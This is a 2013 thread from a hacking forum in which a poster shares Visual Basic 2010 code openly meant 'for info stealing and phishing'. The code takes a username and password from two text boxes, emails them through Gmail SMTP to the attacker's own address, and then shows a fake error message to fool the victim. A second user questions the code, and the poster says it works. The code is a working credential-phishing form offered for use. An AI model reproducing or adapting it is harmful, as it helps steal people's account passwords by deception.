![]() |
Visual Basic 2010 email sender - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework) +--- Thread: Visual Basic 2010 email sender (/Thread-Visual-Basic-2010-email-sender) Pages:
1
2
|
Visual Basic 2010 email sender - theplayer232 - 08-18-2013 you can use this for info stealing and phishing you need: 2 textboxes 1 button put this to the very top: imports system.net.mail button1 code: Dim smtp as new SmtpClient() dim mail as new mailmessage() mail.to.add("youremailhere@gmail.com") mail.from = new mailaddress("youremail@gmail.com") mail.subject = "account info" mail.body = "username: " & textbox1.text & " password: " & textbox2.text smtp.credentials = new net.networkcredential("youremail@gmail.com", "your gmail password here") smtp.enablessl = true smtp.port = 587 smtp.Host = "smtp.gmail.com" smtp.Send(mail) msgbox("optional error/message") RE: Visual Basic 2010 email sender - Slarek - 08-18-2013 What that msgbox(optional error/message) should do, there is no try-catch statement? So it just prints that message which has nothing to do with code? Very useful. And you didn't explain much. You just told what to do, not how to do. RE: Visual Basic 2010 email sender - theplayer232 - 08-18-2013 (08-18-2013, 10:20 AM)Slarek Wrote: What that msgbox(optional error/message) should do, there is no try-catch statement? well it is like fake error but in fact it sends the user information to your email RE: Visual Basic 2010 email sender - Slarek - 08-18-2013 Is it your code? I doubt that, have you tried if this works? RE: Visual Basic 2010 email sender - theplayer232 - 08-18-2013 (08-18-2013, 11:08 AM)Slarek Wrote: Is it your code? I'm sorry doubt, have you tried if this works? i have tried it and success... put the textboxes to the form and one button and double click the button in editing and in the very top of all put imports system.net.mail and you need to look you put your right gmail address and correct password in the script RE: Visual Basic 2010 email sender - Slarek - 08-18-2013 (08-18-2013, 11:53 AM)theplayer232 Wrote:(08-18-2013, 11:08 AM)Slarek Wrote: Is it your code? I'm sorry doubt, have you tried if this works? You don't have to explain how to do this, i know how it works. So your button 1 code only sends the message to email? RE: Visual Basic 2010 email sender - theplayer232 - 08-18-2013 (08-18-2013, 12:04 PM)Slarek Wrote:(08-18-2013, 11:53 AM)theplayer232 Wrote:(08-18-2013, 11:08 AM)Slarek Wrote: Is it your code? I'm sorry doubt, have you tried if this works? yep RE: Visual Basic 2010 email sender - Slarek - 08-18-2013 (08-18-2013, 04:34 PM)theplayer232 Wrote:(08-18-2013, 12:04 PM)Slarek Wrote:(08-18-2013, 11:53 AM)theplayer232 Wrote:(08-18-2013, 11:08 AM)Slarek Wrote: Is it your code? I'm sorry doubt, have you tried if this works? So you have another code where you ask data from user? RE: Visual Basic 2010 email sender - theplayer232 - 08-18-2013 (08-18-2013, 05:19 PM)Slarek Wrote:(08-18-2013, 04:34 PM)theplayer232 Wrote:(08-18-2013, 12:04 PM)Slarek Wrote:(08-18-2013, 11:53 AM)theplayer232 Wrote:(08-18-2013, 11:08 AM)Slarek Wrote: Is it your code? I'm sorry doubt, have you tried if this works? no? RE: Visual Basic 2010 email sender - Slarek - 08-18-2013 My bad, didn't notice that part of the code. Sorry! |